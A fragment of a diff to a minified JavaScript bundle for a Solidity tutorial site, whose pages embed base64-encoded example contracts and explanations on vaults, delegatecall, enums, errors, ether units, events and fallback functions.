9mW190b10gKz0gX3NoYXJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9mcm9tLCB1aW50IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5IC09IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfc2hhcmVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludCBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50CiAgICAgICAgQiA9IGJhbGFuY2Ugb2YgdG9rZW4gYmVmb3JlIGRlcG9zaXQKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBtaW50CgogICAgICAgIChUICsgcykgLyBUID0gKGEgKyBCKSAvIEIgCgogICAgICAgIHMgPSBhVCAvIEIKICAgICAgICAqLwogICAgICAgIHVpbnQgc2hhcmVzOwogICAgICAgIGlmICh0b3RhbFN1cHBseSA9PSAwKSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9hbW91bnQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgc2hhcmVzID0gKF9hbW91bnQgKiB0b3RhbFN1cHBseSkgLyB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgfQoKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50IF9zaGFyZXMpIGV4dGVybmFsIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQKICAgICAgICBCID0gYmFsYW5jZSBvZiB0b2tlbiBiZWZvcmUgd2l0aGRyYXcKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB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pOwogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludCBhbW91bnQpOwp9Cg=="}],Vb=`

                    Simple example of vault contract, commonly used in DeFi protocols.

                    Most vaults on the mainnet are more complex. Here we will focus on the math for calculating shares to mint on deposit and the amount of token to withdraw.

                    How the contract works

                      @@ -6559,7 +6559,7 @@ forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3Swap event Transfer(address indexed from, address indexed to, uint amount); event Approval(address indexed owner, address indexed spender, uint amount); } -
                    `,Gb=({prev:s,next:a})=>i.jsx(u,{version:wb,title:kb,description:Zb,html:Bb,prev:s,next:a,codes:Wb}),fb="0.8.20",Vb="Delegatecall",vb="Example of how to use deletegatecall in Solidity",Yb=[{fileName:"Delegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIE5PVEU6IERlcGxveSB0aGlzIGNvbnRyYWN0IGZpcnN0CmNvbnRyYWN0IEIgewogICAgLy8gTk9URTogc3RvcmFnZSBsYXlvdXQgbXVzdCBiZSB0aGUgc2FtZSBhcyBjb250cmFjdCBBCiAgICB1aW50IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKHVpbnQgX251bSkgcHVibGljIHBheWFibGUgewogICAgICAgIG51bSA9IF9udW07CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICB2YWx1ZSA9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgQSB7CiAgICB1aW50IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKGFkZHJlc3MgX2NvbnRyYWN0LCB1aW50IF9udW0pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBBJ3Mgc3RvcmFnZSBpcyBzZXQsIEIgaXMgbm90IG1vZGlmaWVkLgogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9jb250cmFjdC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJzZXRWYXJzKHVpbnQyNTYpIiwgX251bSkKICAgICAgICApOwogICAgfQp9Cg=="}],Rb=`

                    delegatecall is a low level function similar to call.

                    +
                    `,vb=({prev:s,next:a})=>i.jsx(u,{version:Wb,title:Bb,description:Gb,html:Vb,prev:s,next:a,codes:fb}),Yb="0.8.20",Rb="Delegatecall",Xb="Example of how to use deletegatecall in Solidity",Hb=[{fileName:"Delegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIE5PVEU6IERlcGxveSB0aGlzIGNvbnRyYWN0IGZpcnN0CmNvbnRyYWN0IEIgewogICAgLy8gTk9URTogc3RvcmFnZSBsYXlvdXQgbXVzdCBiZSB0aGUgc2FtZSBhcyBjb250cmFjdCBBCiAgICB1aW50IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKHVpbnQgX251bSkgcHVibGljIHBheWFibGUgewogICAgICAgIG51bSA9IF9udW07CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICB2YWx1ZSA9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgQSB7CiAgICB1aW50IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKGFkZHJlc3MgX2NvbnRyYWN0LCB1aW50IF9udW0pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBBJ3Mgc3RvcmFnZSBpcyBzZXQsIEIgaXMgbm90IG1vZGlmaWVkLgogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9jb250cmFjdC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJzZXRWYXJzKHVpbnQyNTYpIiwgX251bSkKICAgICAgICApOwogICAgfQp9Cg=="}],Fb=`

                    delegatecall is a low level function similar to call.

                    When contract A executes delegatecall to contract B, B's code is executed

                    with contract A's storage, msg.sender and msg.value.

                    // SPDX-License-Identifier: MIT
                    @@ -6591,7 +6591,7 @@ forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3Swap
                             );
                         }
                     }
                    -
                    `,Xb=({prev:s,next:a})=>i.jsx(u,{version:fb,title:Vb,description:vb,html:Rb,prev:s,next:a,codes:Yb}),Hb="0.8.20",Fb="Enum",Nb="Example of enums in Solidity",Kb=[{fileName:"Enum.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEVudW0gewogICAgLy8gRW51bSByZXByZXNlbnRpbmcgc2hpcHBpbmcgc3RhdHVzCiAgICBlbnVtIFN0YXR1cyB7CiAgICAgICAgUGVuZGluZywKICAgICAgICBTaGlwcGVkLAogICAgICAgIEFjY2VwdGVkLAogICAgICAgIFJlamVjdGVkLAogICAgICAgIENhbmNlbGVkCiAgICB9CgogICAgLy8gRGVmYXVsdCB2YWx1ZSBpcyB0aGUgZmlyc3QgZWxlbWVudCBsaXN0ZWQgaW4KICAgIC8vIGRlZmluaXRpb24gb2Y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Name:"EnumImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiLi9FbnVtRGVjbGFyYXRpb24uc29sIjsKCmNvbnRyYWN0IEVudW0gewogICAgU3RhdHVzIHB1YmxpYyBzdGF0dXM7Cn0K"}],Sb=`

                    Solidity supports enumerables and they are useful to model choice and keep track of state.

                    +`,Nb=({prev:s,next:a})=>i.jsx(u,{version:Yb,title:Rb,description:Xb,html:Fb,prev:s,next:a,codes:Hb}),Kb="0.8.20",Sb="Enum",xb="Example of enums in Solidity",Mb=[{fileName:"Enum.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEVudW0gewogICAgLy8gRW51bSByZXByZXNlbnRpbmcgc2hpcHBpbmcgc3RhdHVzCiAgICBlbnVtIFN0YXR1cyB7CiAgICAgICAgUGVuZGluZywKICAgICAgICBTaGlwcGVkLAogICAgICAgIEFjY2VwdGVkLAogICAgICAgIFJlamVjdGVkLAogICAgICAgIENhbmNlbGVkCiAgICB9CgogICAgLy8gRGVmYXVsdCB2YWx1ZSBpcyB0aGUgZmlyc3QgZWxlbWVudCBsaXN0ZWQgaW4KICAgIC8vIGRlZmluaXRpb24gb2YgdGhlIHR5cGUsIGluIHRoaXMgY2FzZSAiUGVuZGluZyIKICAgIFN0YXR1cyBwdWJsaWMgc3RhdHVzOwoKICAgIC8vIFJldHVybnMgdWludAogICAgLy8gUGVuZGluZyAgLSAwCiAgICAvLyBTaGlwcGVkICAtIDEKICAgIC8vIEFjY2VwdGVkIC0gMgogICAgLy8gUmVqZWN0ZWQgLSAzCiAgICAvLyBDYW5jZWxlZCAtIDQKICAgIGZ1bmN0aW9uIGdldCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKFN0YXR1cykgewogICAgICAgIHJldHVybiBzdGF0dXM7CiAgICB9CgogICAgLy8gVXBkYXRlIHN0YXR1cyBieSBwYXNzaW5nIHVpbnQgaW50byBpbnB1dAogICAgZnVuY3Rpb24gc2V0KFN0YXR1cyBfc3RhdHVzKSBwdWJsaWMgewogICAgICAgIHN0YXR1cyA9IF9zdGF0dXM7CiAgICB9CgogICAgLy8gWW91IGNhbiB1cGRhdGUgdG8gYSBzcGVjaWZpYyBlbnVtIGxpa2UgdGhpcwogICAgZnVuY3Rpb24gY2FuY2VsKCkgcHVibGljIHsKICAgICAgICBzdGF0dXMgPSBTdGF0dXMuQ2FuY2VsZWQ7CiAgICB9CgogICAgLy8gZGVsZXRlIHJlc2V0cyB0aGUgZW51bSB0byBpdHMgZmlyc3QgdmFsdWUsIDAKICAgIGZ1bmN0aW9uIHJlc2V0KCkgcHVibGljIHsKICAgICAgICBkZWxldGUgc3RhdHVzOwogICAgfQp9Cg=="},{fileName:"EnumDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKLy8gVGhpcyBpcyBzYXZlZCAnRW51bURlY2xhcmF0aW9uLnNvbCcKCmVudW0gU3RhdHVzIHsKICAgIFBlbmRpbmcsCiAgICBTaGlwcGVkLAogICAgQWNjZXB0ZWQsCiAgICBSZWplY3RlZCwKICAgIENhbmNlbGVkCn0K"},{fileName:"EnumImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiLi9FbnVtRGVjbGFyYXRpb24uc29sIjsKCmNvbnRyYWN0IEVudW0gewogICAgU3RhdHVzIHB1YmxpYyBzdGF0dXM7Cn0K"}],Jb=`

                    Solidity supports enumerables and they are useful to model choice and keep track of state.

                    Enums can be declared outside of a contract.

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                    @@ -6657,7 +6657,7 @@ forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3Swap
                     contract Enum {
                         Status public status;
                     }
                    -
                    `,xb=({prev:s,next:a})=>i.jsx(u,{version:Hb,title:Fb,description:Nb,html:Sb,prev:s,next:a,codes:Kb}),Mb="0.8.20",Jb="Error",zb="Example of how to throw errors in Solidity",Eb=[{fileName:"Account.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFjY291bnQgewogICAgdWludCBwdWJsaWMgYmFsYW5jZTsKICAgIHVpbnQgcHVibGljIGNvbnN0YW50IE1BWF9VSU5UID0gMiAqKiAyNTYgLSAxOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludCBfYW1vdW50KSBwdWJsaWMgewogICAgICAgIHVpbnQgb2xkQmFsYW5jZSA9IGJhbGFuY2U7CiAgICAgICAgdWludCBuZXdCYWxhbmNlID0gYmFsYW5jZSArIF9hbW91bnQ7CgogICAgICAgIC8vIGJhbGFuY2UgKyBfYW1vdW50IGRvZXMgbm90IG92ZXJmbG93IGlmIGJhbGFuY2UgKyBfYW1vdW50ID49IGJhbGFuY2UKICAgICAgICByZXF1aXJlKG5ld0JhbGFuY2UgPj0gb2xkQmFsYW5jZSwgIk92ZXJmbG93Iik7CgogICAgICAgIGJhbGFuY2UgPSBuZXdCYWxhbmNlOwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA+PSBvbGRCYWxhbmNlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgdWludCBvbGRCYWxhbmNlID0gYmFsYW5jZTsKCiAgICAgICAgLy8gYmFsYW5jZSAtIF9hbW91bnQgZG9lcyBub3QgdW5kZXJmbG93IGlmIGJhbGFuY2UgPj0gX2Ftb3VudAogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA+PSBfYW1vdW50LCAiVW5kZXJmbG93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ogICAgdWludCBwdWJsaWMgbnVtOwoKICAgIGZ1bmN0aW9uIHRlc3RBc3NlcnQoKSBwdWJsaWMgdmlldyB7CiAgICAgICAgLy8gQXNzZXJ0IHNob3VsZCBvbmx5IGJlIHVzZWQgdG8gdGVzdCBmb3IgaW50ZXJuYWwgZXJyb3JzLAogICAgICAgIC8vIGFuZCB0byBjaGVjayBpbnZhcmlhbnRzLgoKICAgICAgICAvLyBIZXJlIHdlIGFzc2VydCB0aGF0IG51bSBpcyBhbHdheXMgZXF1YWwgdG8gMAogICAgICAgIC8vIHNpbmNlIGl0IGlzIGltcG9zc2libGUgdG8gdXBkYXRlIHRoZSB2YWx1ZSBvZiBudW0KICAgICAgICBhc3NlcnQobnVtID09IDApOwogICAgfQoKICAgIC8vIGN1c3RvbSBlcnJvcgogICAgZXJyb3IgSW5zdWZmaWNpZW50QmFsYW5jZSh1aW50IGJhbGFuY2UsIHVpbnQgd2l0aGRyYXdBbW91bnQpOwoKICAgIGZ1bmN0aW9uIHRlc3RDdXN0b21FcnJvcih1aW50IF93aXRoZHJhd0Ftb3VudCkgcHVibGljIHZpZXcgewogICAgICAgIHVpbnQgYmFsID0gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgICAgIGlmIChiYWwgPCBfd2l0aGRyYXdBbW91bnQpIHsKICAgICAgICAgICAgcmV2ZXJ0IEluc3VmZmljaWVudEJhbGFuY2Uoe2JhbGFuY2U6IGJhbCwgd2l0aGRyYXdBbW91bnQ6IF93aXRoZHJhd0Ftb3VudH0pOwogICAgICAgIH0KICAgIH0KfQo="}],Lb=`

                    An error will undo all changes made to the state during a transaction.

                    +`,zb=({prev:s,next:a})=>i.jsx(u,{version:Kb,title:Sb,description:xb,html:Jb,prev:s,next:a,codes:Mb}),Eb="0.8.20",Lb="Error",Qb="Example of how to throw errors in Solidity",_b=[{fileName:"Account.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkg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c2VydCB0aGF0IG51bSBpcyBhbHdheXMgZXF1YWwgdG8gMAogICAgICAgIC8vIHNpbmNlIGl0IGlzIGltcG9zc2libGUgdG8gdXBkYXRlIHRoZSB2YWx1ZSBvZiBudW0KICAgICAgICBhc3NlcnQobnVtID09IDApOwogICAgfQoKICAgIC8vIGN1c3RvbSBlcnJvcgogICAgZXJyb3IgSW5zdWZmaWNpZW50QmFsYW5jZSh1aW50IGJhbGFuY2UsIHVpbnQgd2l0aGRyYXdBbW91bnQpOwoKICAgIGZ1bmN0aW9uIHRlc3RDdXN0b21FcnJvcih1aW50IF93aXRoZHJhd0Ftb3VudCkgcHVibGljIHZpZXcgewogICAgICAgIHVpbnQgYmFsID0gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgICAgIGlmIChiYWwgPCBfd2l0aGRyYXdBbW91bnQpIHsKICAgICAgICAgICAgcmV2ZXJ0IEluc3VmZmljaWVudEJhbGFuY2Uoe2JhbGFuY2U6IGJhbCwgd2l0aGRyYXdBbW91bnQ6IF93aXRoZHJhd0Ftb3VudH0pOwogICAgICAgIH0KICAgIH0KfQo="}],Ub=`

                    An error will undo all changes made to the state during a transaction.

                    You can throw an error by calling require, revert or assert.

                    • require is used to validate inputs and conditions before execution.
                    • @@ -6742,7 +6742,7 @@ assertion probably means that there is a bug. assert(balance <= oldBalance); } } -`,Qb=({prev:s,next:a})=>i.jsx(u,{version:Mb,title:Jb,description:zb,html:Lb,prev:s,next:a,codes:Eb}),_b="0.8.20",Ub="Ether and Wei",Tb="An example of Ether and Wei in Solidity",Db=[{fileName:"EtherUnits.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEV0aGVyVW5pdHMgewogICAgdWludCBwdWJsaWMgb25lV2VpID0gMSB3ZWk7CiAgICAvLyAxIHdlaSBpcyBlcXVhbCB0byAxCiAgICBib29sIHB1YmxpYyBpc09uZVdlaSA9IDEgd2VpID09IDE7CgogICAgdWludCBwdWJsaWMgb25lRXRoZXIgPSAxIGV0aGVyOwogICAgLy8gMSBldGhlciBpcyBlcXVhbCB0byAxMF4xOCB3ZWkKICAgIGJvb2wgcHVibGljIGlzT25lRXRoZXIgPSAxIGV0aGVyID09IDFlMTg7Cn0K"}],Ob=`

                      Transactions are paid with ether.

                      +`,Tb=({prev:s,next:a})=>i.jsx(u,{version:Eb,title:Lb,description:Qb,html:Ub,prev:s,next:a,codes:_b}),Db="0.8.20",Ob="Ether and Wei",Pb="An example of Ether and Wei in Solidity",$b=[{fileName:"EtherUnits.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEV0aGVyVW5pdHMgewogICAgdWludCBwdWJsaWMgb25lV2VpID0gMSB3ZWk7CiAgICAvLyAxIHdlaSBpcyBlcXVhbCB0byAxCiAgICBib29sIHB1YmxpYyBpc09uZVdlaSA9IDEgd2VpID09IDE7CgogICAgdWludCBwdWJsaWMgb25lRXRoZXIgPSAxIGV0aGVyOwogICAgLy8gMSBldGhlciBpcyBlcXVhbCB0byAxMF4xOCB3ZWkKICAgIGJvb2wgcHVibGljIGlzT25lRXRoZXIgPSAxIGV0aGVyID09IDFlMTg7Cn0K"}],qb=`

                      Transactions are paid with ether.

                      Similar to how one dollar is equal to 100 cent, one ether is equal to 1018 wei.

                      // SPDX-License-Identifier: MIT
                       pragma solidity ^0.8.20;
                      @@ -6756,7 +6756,7 @@ assertion probably means that there is a bug.
                           // 1 ether is equal to 10^18 wei
                           bool public isOneEther = 1 ether == 1e18;
                       }
                      -
                      `,Pb=({prev:s,next:a})=>i.jsx(u,{version:_b,title:Ub,description:Tb,html:Ob,prev:s,next:a,codes:Db}),$b="0.8.20",qb="Events",sw="Example of how to emit events in Solidity",aw=[{fileName:"Events.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEV2ZW50IHsKICAgIC8vIEV2ZW50IGRlY2xhcmF0aW9uCiAgICAvLyBVcCB0byAzIHBhcmFtZXRlcnMgY2FuIGJlIGluZGV4ZWQuCiAgICAvLyBJbmRleGVkIHBhcmFtZXRlcnMgaGVscHMgeW91IGZpbHRlciB0aGUgbG9ncyBieSB0aGUgaW5kZXhlZCBwYXJhbWV0ZXIKICAgIGV2ZW50IExvZyhhZGRyZXNzIGluZGV4ZWQgc2VuZGVyLCBzdHJpbmcgbWVzc2FnZSk7CiAgICBldmVudCBBbm90aGVyTG9nKCk7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgIkhlbGxvIFdvcmxkISIpOwogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJIZWxsbyBFVk0hIik7CiAgICAgICAgZW1pdCBBbm90aGVyTG9nKCk7CiAgICB9Cn0K"}],nw=`

                      Events allow logging to the Ethereum blockchain. Some use cases for events are:

                      +`,sw=({prev:s,next:a})=>i.jsx(u,{version:Db,title:Ob,description:Pb,html:qb,prev:s,next:a,codes:$b}),aw="0.8.20",nw="Events",lw="Example of how to emit events in Solidity",pw=[{fileName:"Events.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEV2ZW50IHsKICAgIC8vIEV2ZW50IGRlY2xhcmF0aW9uCiAgICAvLyBVcCB0byAzIHBhcmFtZXRlcnMgY2FuIGJlIGluZGV4ZWQuCiAgICAvLyBJbmRleGVkIHBhcmFtZXRlcnMgaGVscHMgeW91IGZpbHRlciB0aGUgbG9ncyBieSB0aGUgaW5kZXhlZCBwYXJhbWV0ZXIKICAgIGV2ZW50IExvZyhhZGRyZXNzIGluZGV4ZWQgc2VuZGVyLCBzdHJpbmcgbWVzc2FnZSk7CiAgICBldmVudCBBbm90aGVyTG9nKCk7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgIkhlbGxvIFdvcmxkISIpOwogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJIZWxsbyBFVk0hIik7CiAgICAgICAgZW1pdCBBbm90aGVyTG9nKCk7CiAgICB9Cn0K"}],ew=`

                      Events allow logging to the Ethereum blockchain. Some use cases for events are:

                      • Listening for events and updating user interface
                      • A cheap form of storage
                      • @@ -6777,7 +6777,7 @@ assertion probably means that there is a bug. emit AnotherLog(); } } -`,lw=({prev:s,next:a})=>i.jsx(u,{version:$b,title:qb,description:sw,html:nw,prev:s,next:a,codes:aw}),pw="0.8.20",ew="Fallback",cw="Example of how to use fallback in Solidity",tw=[{fileName:"Fallback.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZhbGxiYWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgZnVuYywgdWludCBnYXMpOwoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIG11c3QgYmUgZGVjbGFyZWQgYXMgZXh0ZXJuYWwuCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIC8vIHNlbmQgLyB0cmFuc2ZlciAoZm9yd2FyZHMgMjMwMCBnYXMgdG8gdGhpcyBmYWxsYmFjayBmdW5jdGlvbikKICAgICAgICAvLyBjYWxsIChmb3J3YXJkcyBhbGwgb2YgdGhlIGdhcykKICAgICAgICBlbWl0IExvZygiZmFsbGJhY2siLCBnYXNsZWZ0KCkpOwogICAgfQoKICAgIC8vIFJlY2VpdmUgaXMgYSB2YXJpYW50IG9mIGZhbGxiYWNrIHRoYXQgaXMgdHJpZ2dlcmVkIHdoZW4gbXN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ICAgIH0KfQo="}],ow=`

                        fallback is a special function that is executed either when

                        +`,cw=({prev:s,next:a})=>i.jsx(u,{version:aw,title:nw,description:lw,html:ew,prev:s,next:a,codes:pw}),tw="0.8.20",ow="Fallback",rw="Example of how to use fallback in Solidity",iw=[{fileName:"Fallback.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZhbGxiYWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgZnVuYywgdWludCBnYXMpOwoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIG11c3QgYmUgZGVjbGFyZWQgYXMgZXh0ZXJuYWwuCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIC8vIHNlbmQgLyB0cmFuc2ZlciAoZm9yd2FyZHMgMjMwMCBnYXMgdG8gdGhpcyBmYWxsYmFjayBmdW5jdGlvbikKICAgICAgICAvLyBjYWxsIChmb3J3YXJkcyBhbGwgb2YgdGhlIGdhcykKICAgICAgICBlbWl0IExvZygiZmFsbGJhY2siLCBnYXNsZWZ0KCkpOwogICAgfQoKICAgIC8vIFJlY2VpdmUgaXMgYSB2YXJpYW50IG9mIGZhbGxiYWNrIHRoYXQgaXMgdHJpZ2dlcmVkIHdoZW4gbXNnLmRhdGEgaXMgZW1wdHkKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBlbWl0IExvZygicmVjZWl2ZSIsIGdhc2xlZnQoKSk7CiAgICB9CgogICAgLy8gSGVscGVyIGZ1bmN0aW9uIHRvIGNoZWNrIHRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKY29udHJhY3QgU2VuZFRvRmFsbGJhY2sgewogICAgZnVuY3Rpb24gdHJhbnNmZXJUb0ZhbGxiYWNrKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRmFsbGJhY2soYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIChib29sIHNlbnQsICkgPSBfdG8uY2FsbHt2YWx1ZTogbXNnLnZhbHVlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="},{fileName:"FallbackInputOutput.sol",code:"cHJhZ21hIHNvbGlkaXR5IF4wLjguMjA7CgovLyBUZXN0RmFsbGJhY2tJbnB1dE91dHB1dCAtPiBGYWxsYmFja0lucHV0T3V0cHV0IC0+IENvdW50ZXIKY29udHJhY3QgRmFsbGJhY2tJbnB1dE91dHB1dCB7CiAgICBhZGRyZXNzIGltbXV0YWJsZSB0YXJnZXQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdGFyZ2V0KSB7CiAgICAgICAgdGFyZ2V0ID0gX3RhcmdldDsKICAgIH0KCiAgICBmYWxsYmFjayhieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IHRhcmdldC5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIHJldHVybiByZXM7CiAgICB9Cn0KCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludCBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gZ2V0KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHJldHVybnMgKHVpbnQpIHsKICAgICAgICBjb3VudCArPSAxOwogICAgICAgIHJldHVybiBjb3VudDsKICAgIH0KfQoKY29udHJhY3QgVGVzdEZhbGxiYWNrSW5wdXRPdXRwdXQgewogICAgZXZlbnQgTG9nKGJ5dGVzIHJlcyk7CgogICAgZnVuY3Rpb24gdGVzdChhZGRyZXNzIF9mYWxsYmFjaywgYnl0ZXMgY2FsbGRhdGEgZGF0YSkgZXh0ZXJuYWwgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IF9mYWxsYmFjay5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIGVtaXQgTG9nKHJlcyk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VGVzdERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSwgYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIChhYmkuZW5jb2RlQ2FsbChDb3V